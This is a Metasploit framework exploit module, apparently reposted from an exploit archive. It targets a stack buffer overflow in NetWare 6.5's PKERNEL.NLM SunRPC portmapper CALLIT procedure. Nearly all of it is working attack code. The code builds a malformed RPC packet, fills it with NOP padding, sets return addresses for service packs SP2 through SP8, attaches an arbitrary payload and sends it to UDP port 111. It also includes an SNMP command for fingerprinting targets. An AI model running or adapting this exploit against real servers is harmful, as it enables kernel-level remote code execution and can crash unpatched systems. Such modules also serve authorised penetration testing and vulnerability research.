NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow

`##  
# $Id: pkernel_callit.rb 11039 2010-11-14 19:03:24Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure.  
PKERNEL.NLM is installed by default on all NetWare servers to support NFS.  
The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can  
cause the operating system to reboot.  
},  
'Author' => [ 'pahtzo', ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 11039 $',  
'References' =>  
[  
# There is no CVE for this vulnerability  
[ 'BID', '36564' ],  
[ 'OSVDB', '58447' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-067/' ],  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 2020,  
},  
'Platform' => 'netware',  
'Targets' =>  
[  
# NetWare SP and PKERNEL.NLM version can be found in SNMP:  
# snmpwalk -Os -c public -v 1 [target hostname] | egrep -i "sysdescr|pkernel.nlm"  
# sysDescr.0 = STRING: Novell NetWare 5.70.08 October 3, 2008  
# hrSWRunName.1191394992 = STRING: "PKERNEL.NLM v15.01 (20081014)"  
[ 'NetWare 6.5 SP2', { 'Ret' => 0xb2329b98 } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP3', { 'Ret' => 0xb234a268 } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP4', { 'Ret' => 0xbabc286c } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP5', { 'Ret' => 0xbabc9c3c } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP6', { 'Ret' => 0x823c835c } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP7', { 'Ret' => 0x823c83fc } ], # push esp - ret (libc.nlm)  
[ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm)  
],  
  
'DisclosureDate' => 'Sep 30 2009'))  
  
register_options([Opt::RPORT(111)], self.class)  
end  
  
def exploit  
connect_udp  
  
buf = [rand(0xffffffff)].pack('N') # XID  
buf << [0].pack('N') # Message Type: Call (0)  
buf << [2].pack('N') # RPC Version: 2  
buf << [100000].pack('N') # Program: Portmap (100000)  
buf << [2].pack('N') # Program Version: 2  
buf << [5].pack('N') # Procedure: CALLIT (5)  
buf << [0].pack('N') # Credentials AUTH_NULL (0)  
buf << [0].pack('N') # Length: 0  
buf << [0].pack('N') # Verifier AUTH_NULL (0)  
buf << [0].pack('N') # Length: 0  
buf << [0].pack('N') # Program: Unknown (0)  
buf << [1].pack('N') # Version: 1  
buf << [1].pack('N') # Procedure: proc-1 (1)  
buf << [4097].pack('N') # Arguments: <DATA> length: 4097  
  
buf << make_nops(2072) # fill to ret  
buf << [target.ret].pack('V') # addr. of push esp - ret  
buf << payload.encoded #  
  
# print_status("payload space #{payload_space()}...")  
# print_status("payload len #{payload.encoded.length}...")  
# print_status("total buf len #{buf.length}...")  
  
print_status("Trying target #{target.name}...")  
  
udp_sock.put(buf)  
handler  
disconnect_udp  
end  
  
end  
  
`